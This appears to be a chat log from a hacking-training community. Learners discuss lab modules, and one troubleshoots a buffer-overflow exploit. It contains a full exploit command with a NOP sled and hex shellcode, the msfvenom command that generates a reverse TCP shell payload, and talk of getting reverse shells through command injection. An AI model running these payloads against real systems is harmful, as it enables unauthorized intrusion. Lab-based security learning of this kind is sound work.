||'./leave_msg $(python -c 'print "\x55" * (2060 - 124 - 95)+ "\x90" * 124 + "\xba\x27\x39\x7e\xa8\xd9\xcf\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x12\x83\xee\xfc\x31\x56\x0e\x03\x71\x37\x9c\x5d\x4c\x9c\x97\x7d\xfd\x61\x0b\xe8\x03\xef\x4a\x5c\x65\x22\x0c\x0e\x30\x0c\x32\xfc\x42\x25\x34\x07\x2a\xc9\xc6\xf7\xab\x5d\xc5\xf7\xd1\xf4\x40\x16\x95\x61\x03\x88\x86\xde\xa0\xa3\xc9\xec\x27\xe1\x61\x81\x08\x75\x19\x35\x78\x56\xbb\xac\x0f\x4b\x69\x7c\x99\x6d\x3d\x89\x54\xed" + "\x2c\xd7\xff\xff"') ||
Illegal instruction (core dumped)'

like this makes no sense. right?

[zinc marsh]

check what shell i was running and search in google how to escape

[zinc marsh]

just write || at the beginning and at the end

[zinc marsh]

why

have u done any reverse engineering challenge?

[bold rapids]

I’ve been completing the academy modules

I did exactly what my friend did. It’s just I’m getting this error. I’m completely clueless

He got the answer. I didn’t

I did this to get my shellcode
||msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode||

[zinc marsh]

Well

1. U haven't done what he did
2. U don't know why u are doing what u are doing

[bold rapids]

I do

Thats why when I asked him for help. He was also confused. Since he did exactly what i did

do u see whats wrong?

[bold rapids]

Anything?

[zinc marsh]

I haven't done that module

and idk nothing about what u have done

[bold rapids]

The only thing I can think of is my msfvenom is bad or something. Since I got 95 byte code and tested it even on my own pc. Failed

[dim hemlock]

Hi, Im stuck on module Passwd, Shadow & Opasswd. Im stuck in the unshadow part

Any tips haha?

[bright arrow]

Be more precise

[misty current]

Can you describe more of what exactly you're stuck on?

[dim hemlock]

Aa yes sorry dont want to spoil much, So I got the .baks okay?

[vital adder]

you can just use the mutated wordlist for that

[vital adder]

even with spoiler i don't thing putting those bad characters would be a good idea and also if you are testing this on your machine i would say give it a try on the target machine

[vital adder]

this look about right but my reeturn address or nops or what ever those thing call is different so if you want i can dm you the address that i use

[dim hemlock]

And in the module he uses the unshadow command to generate the hashes

But when I cat the output of the file there is not hashes

It looks like /etc/passwd file

[quiet ember]

Anyone else unable to spawn targets?

[dim hemlock]

Targets are spawning for me

[quiet ember]

I got mine to spawn, guess it just takse 7 tries lol

[zinc marsh]

How could I get a reverse shell with command injection? from a windows target

[trail leaf]

Command injection typically implies that you have code execution, and you use code to run a reverse shell 🙂

Doesn't matter what OS

[zinc marsh]

I found this way to gain foothold

[trail leaf]

Technically spoilers but ok, now run code that would work on Windows to give you a reverse shell

It’s a google search away

[analog dock]

Any hint on the skills assessment of file inclusion?
The only parameter I find is page=, but further fuzzing yields no results

[zinc marsh]

I didn't say the module and the section

[trail leaf]

still spoilers

anyone doing the module would know exactly what you're talking about

[trail leaf]

DM

[vital adder]

sound like the attacking common services module?

[zinc marsh]

no

[valid cipher]

what important sections in the intro networking module should i make sure to learn well

[zinc marsh]

all

[valid cipher]

its to much to learn

i read most of it, but some parts didnt understand well at all

[zinc marsh]

we know

but tomorrow u will know more than today

[valid cipher]

ok

[acoustic owl]

Then you should read up on the things you didn't understand or watch videos about them on Youtube/Udemy.

[valid cipher]

but then that will make things take even longer

i need to become a hacker asap